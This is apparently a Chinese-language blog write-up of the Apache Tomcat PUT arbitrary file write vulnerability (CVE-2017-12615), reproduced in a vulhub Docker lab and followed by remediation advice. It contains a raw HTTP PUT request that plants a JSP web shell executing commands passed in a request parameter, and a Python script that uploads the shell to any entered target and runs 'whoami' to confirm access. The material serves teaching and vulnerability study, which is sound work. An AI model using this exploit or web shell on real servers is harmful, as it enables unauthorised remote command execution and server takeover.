Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

1 漏洞原理

  1. 在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。

  2. 当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。

2 漏洞影响

  1. 任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。

  2. 远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。

  3. 信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。

3 环境搭建

复制代码
进入vulhub目录
cd vulhub/tomcat/CVE-2017-12615
部署漏洞环境
docker compose build
docker compose up -d
查看端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现步骤

1 抓包后,右键单机Send to Repeater

2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。

复制代码
PUT /1.jsp/ HTTP/1.1
Host: 192.168.135.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1CCD15499524302645C18183B820C173
Upgrade-Insecure-Requests: 1
Content-Length: 302
​
<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

这里看到返回201,应该已经上传成功了。

3.使用浏览器访问exc.jsp可以任意命令执行

5 编写python脚本探测漏洞是否存在

复制代码
#!/usr/bin/env python
​
import requests
import time
​
# 提示:本代码仅用于实验和学习目的,请谨慎使用。
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
​
# 定义要上传的恶意文件名
payload_file = 'shell1.jsp/'
​
def cve_2017_12615():
    # 输入目标IP地址和端口
    url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")
    # 将payload_file添加到目标URL
    payload_url = url + payload_file
    print(payload_url)
    
    # 定义请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'
    }
​
    # 定义恶意脚本内容
    payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
                    "int a = -1;"
                    "byte[] b = new byte[2048];"
                    "while((a=in.read(b))!=-1){out.println(new String(b));}"
                    "%>")
    # 使用PUT请求将恶意脚本写入服务器
    response = requests.put(payload_url, data=payload_body, headers=headers)
    print(payload_url[:-1])
    print(response.status_code)
    # 等待一会
    time.sleep(3)
    # 定义测试负载
    test_payload = {
        "cmd":"whoami"
    }
    # 发送GET请求测试恶意脚本是否成功执行
    response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)
    print(response2.status_code)
    if response2.status_code == 200:
        print("漏洞存在!!")
    else:
        print("漏洞不存在!!")
​
# 调用cve_2017_12615()函数
cve_2017_12615()

结果

6 修复建议:

  1. 禁用PUT方法:在Apache Tomcat服务器的配置文件(如web.xml)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。

  2. 限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。

  3. 输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。

  4. 使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。

相关推荐
易云码5 分钟前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码
Spring_java_gg3 小时前
如何抵御 Linux 服务器黑客威胁和攻击
linux·服务器·网络·安全·web安全
独行soc3 小时前
#渗透测试#SRC漏洞挖掘#深入挖掘XSS漏洞02之测试流程
web安全·面试·渗透测试·xss·漏洞挖掘·1024程序员节
newxtc4 小时前
【国内中间件厂商排名及四大中间件对比分析】
安全·web安全·网络安全·中间件·行为验证·国产中间件
mingzhi611 天前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展
安胜ANSCEN1 天前
加固筑牢安全防线:多源威胁检测响应在企业网络安全运营中的核心作用
网络·安全·web安全·威胁检测·自动化响应
超栈1 天前
蓝桥杯-网络安全比赛题目-遗漏的压缩包
前端·网络·sql·安全·web安全·职场和发展·蓝桥杯
黑龙江亿林等级保护测评1 天前
DDOS防护介绍
网络·人工智能·安全·web安全·智能路由器·ddos
kali-Myon1 天前
NewStarCTF2024-Week5-Web&Misc-WP
前端·python·学习·mysql·web安全·php·web